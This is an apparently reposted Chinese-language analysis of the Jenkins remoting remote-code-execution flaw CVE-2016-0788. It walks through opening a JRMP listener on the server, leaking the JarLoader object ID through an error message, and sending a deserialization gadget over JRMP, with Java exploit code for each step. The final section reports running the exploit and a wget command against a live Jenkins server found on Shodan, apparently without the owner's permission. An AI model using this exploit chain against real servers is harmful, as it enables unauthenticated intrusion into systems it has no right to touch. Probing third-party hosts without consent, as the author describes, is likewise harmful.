详情来源:[Jenkins RCE 2(CVE-2016-0788)分析及利用 Author:隐形人真忙](http://drops.wooyun.org/papers/1771)
### 0x00 概述
国外的安全研究人员Moritz Bechler在2月份发现了一处Jenkins远程命令执行漏洞,该漏洞无需登录即可利用,也就是CVE-2016-0788。官方公告是这样描述此漏洞的:
> A vulnerability in the Jenkins remoting module allowed unauthenticated remote attackers to open a JRMP listener on the server hosting the Jenkins master process, which allowed arbitrary code execution.
在分析这个漏洞的时候,运用到了Java RPC知识以及反序列化的问题,并且这个漏洞利用的tricks和攻击执行链路都比较有趣,因此发出来漏洞分析分享一下。
### 0x01 基本知识
Jenkins Remoting的相关API是用于实现分布式环境中master和slave节点或者用于访问CLI的。在访问Jenkins页面时,Remoting端口就会在header中找到:
![](https://images.seebug.org/1468392880490)
Remoting端口默认是非认证下即可访问,虽然这个端口是动态的,但是可以从Response的头部信息中获取到。
早在去年11月份,breenmachine发布的博客中提及到了这个CLI端口,并且漏洞的触发也是经过了这个端口的反序列化来触发,jenkins也进行了修复。
然而,CVE-2016-0788利用了一些技巧,通过Jenkins Remoting巧妙地开启JRMP,从JRMP对反序列化进行触发,从而完成exploit。
JRMP是Java RMI中支持的其中一个协议,其中也包含了反序列化的功能,实际上,任何Java RPC涉及到按值传递的问题,基本都会采用序列化对象的方式进行实现。下面来看看这个漏洞具体的内容。
### 0x02 漏洞原理
这里首先不得不说一下Jenkins是如何防止反序列化命令执行产生的,在Jenkins-remoting中,有一个ClassFilter类,这个类中定义的一些classpath黑名单,这个黑名单目前看起来是这样的。
![](https://images.seebug.org/1468392888258)
都是已知的一些比较著名的gadget。在该漏洞被报告时,官方对这个黑名单进行了完善:
https://github.com/jenkinsci/remoting/commit/baa0cef36081711d216532d562e02e2fc425d310
![](https://images.seebug.org/1468392892351)
主要针对的RMI相关的类进行了黑名单完善。多插一句,黑名单机制是基于ObjectInputStream扩展出来的一个类ObjectInputStreamEx来实现的:
![](https://images.seebug.org/1468392896281)
这里调用了filter对象的check方法,可以去看看相关方法,在hudson.remoting.ClassFilter,文件中的isBlacklisted默认返回false,具体的黑名单机制在RegExpClassFilter中进行实现,子类重写了父类的isBlacklisted方法,增加黑名单校验。
虽然Jenkins的黑名单暂时有效,但是这种机制本身不可靠,因为无法防止潜在的反序列化执行的gadget。
扯远了,我们回到正题。官方针对该漏洞还commit了一个单元测试类,以下的分析都是基于这个单元测试文件中的代码进行说明。
通过分析代码,可以看出Moritz Bechler(漏洞发现者)的思路大致如下:
1. 首先连接CLI端口进行通讯
2. 然后通过Jenkins Remoting在服务器端打开一个JRMP Listener
3. 攻击者客户端连接到这个打开的JRMP端口,通过该端口发送恶意构造的gadget,从而触发漏洞。
4. 以上的操作不涉及Jenkins认证。
思路有了,但是还需要解决如下问题:
1. 如何使得服务器端打开JRMP端口
2. 即使打开JRMP,由于JRMP机制运行在默认的classpath,即使gadget被顺利反序列化,也会因为找不到相关的classpath而无法进行触发
3. 如何通过JRMP协议来执行反序列化操作。
下面通过代码一一进行说明。
### 0x03 通过JRMP进行反序列化
首先需要让服务器端打开一个JRMP端口,来接收我们后续的反序列化执行对象。这里通过构造一个远程对象进行实现。
相关代码如下:
```
//打开JRMP Listener
//获取一个UnicastRemoteObject,使得服务器端按要求绑定12345的JRMP端口
Constructor<UnicastRemoteObject> uroC = UnicastRemoteObject.class.getDeclaredConstructor();
uroC.setAccessible(true);
ReflectionFactory rf = ReflectionFactory.getReflectionFactory();
Constructor<?> sc = rf.newConstructorForSerialization(ActivationGroupImpl.class, uroC);
sc.setAccessible(true);
UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance();
//设置JRMP端口
Field portF = UnicastRemoteObject.class.getDeclaredField("port");
portF.setAccessible(true);
portF.set(uro, jrmpPort);
//设置骨架对象
Field f = RemoteObject.class.getDeclaredField("ref");
f.setAccessible(true);
//监听JRMP端口
f.set(uro, new UnicastRef2(new LiveRef(new ObjID(2), new TCPEndpoint("localhost", jrmpPort), true)));
```
这里运用了反射机制创建一个UnicastRemoteObject的远程对象,并通过设置该对象的ref属性来设置这个远程对象的代理对象。
通过Jenkins Remoting,我们可以将这个远程对象连同这个对象的代理对象部署到服务器端,即使得服务器端打开一个JRMP Listener来监听我们制定的端口,后续工作就是向这个端口发送恶意数据来实现exploit。
### 0x04 修改classLoader
根据上文所述,JRMP使用的是默认的classLoader,是无法识别反序列化gadget对象的,Commons-collection1,etc. 因此,为了反序列化能够顺利执行命令,我们需要修改JRMP的classLoader为jenkins的JarLoader,但是本地无法直接去查找服务器端中的JarLoader。
在远程方法调用时,需要使用objID对远程对象进行标识,这个objID是随机生成的,爆破是不太可能的。这里用了一个非常有趣的trick,即使用一个异常来获取到JarLoader的objID号,然后根据ID在服务器端获取到这个JarLoader。
具体就是调用hudson.remoting.JarLoader中的isPresentOnRemote方法:
代码如下:
```
//创建一个RPCRequest对象
//即执行Checksum类中的isPresentOnRemote方法
Object o = reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
uro,
});
try {
//在服务器端调用JarLoader.isPresentOnRemote(Checksum)
//会报错出JarLoader的objID
c.call((Callable<Object,Exception>) o);
}
catch ( Exception e ) {
//从异常信息中获取JarLoader的objID
```
其中传入一个Checksum的对象。由于JarLoader是抽象类,调用抽象方法会报错,报错信息为:
```
hudson.remoting.RemotingSystemException: failed to invoke public abstract boolean hudson.remoting.JarLoader.isPresentOnRemote(hudson.remoting.Checksum) on hudson.remoting.JarLoaderImpl@14e33708[ActivationGroupImpl[UnicastServerRef [liveRef: [endpoint:[127.0.1.1:12345](local),objID:[-72a49a0d:15381b90378:-7fec, 3478390807499336137]]]]]
at hudson.remoting.RemoteInvocationHandler$RPCRequest.perform(RemoteInvocationHandler.java:610)
at hudson.remoting.RemoteInvocationHandler$RPCRequest.call(RemoteInvocationHandler.java:583)
........
```
可以看到,这里的报错信息中包含了JarLoader的objID号,通过这个ID可以获取到JarLoader在服务器端的实例。
### 0x05 发送gadget
JRMP是RMI中支持的协议之一,向JRMP发送一个对象执行也需要遵循一定的协议,通过阅读RMI实现的源码探究一下原理:
首先看一下sun.rmi.\*下的TCPChannel类。
1.协议头固定形式
写入传输头部的操作:
![](https://images.seebug.org/1468393947719)
只需要写入Magic和Version字段即可。
2.调用远程对象方法
写入传输字段TransportConstants.Call,用来调用远程对象方法,所以具体看看协议的流程是什么。相关代码在sun.rmi.transport.StreamRemoteCall类中。
![](https://images.seebug.org/1468393952064)
在StreamRemoteCall中就有关于方法调用的操作。首先写入TransportConstants.Call字段,标明下面的操作。然后写入对象id,方法索引以及桩对象或者骨架对象的hash,因为JAVA RMI实现中,本地程序与远程主机的方法调用与沟通,实际上是由桩对象和骨架对象进行代理,如果明白Java的动态代理机制,会更好理解,这里就不赘述RMI实现原理了,有兴趣的可以自行搜索相关资料。
相关exploit代码如下:
```
//写入objID
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
//调用方法索引
objOut.writeInt(-1);
//stub对象的hash objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
//发送反序列化payload
final Object object = payload.getObject(payloadArg);
objOut.writeObject(object);
```
以上代码的作用就是与JRMP按照协议进行通讯,将反序列化对象发送至服务器端执行的过程。有兴趣的可以结合RMI实现源码进行阅读。
### 0x06 攻击exploit
根据测试代码,我们不难写出攻击的exploit。从shodan上搜一台Jenkins机器,该机器不存在去年那个粗暴的Jenkins反序列化命令执行漏洞。
我们结合cloudeye,执行wget命令验证。
效果如下:
![](https://images.seebug.org/1468392900458)
同时,可以在cloudeye上看到结果:
![](https://images.seebug.org/1468392905417)
参考链接
* https://github.com/jenkinsci/remoting/tree/master/src/main/java/hudson/remoting
* https://github.com/jenkinsci/remoting/commit/baa0cef36081711d216532d562e02e2fc425d310
* https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-02-24
暂无评论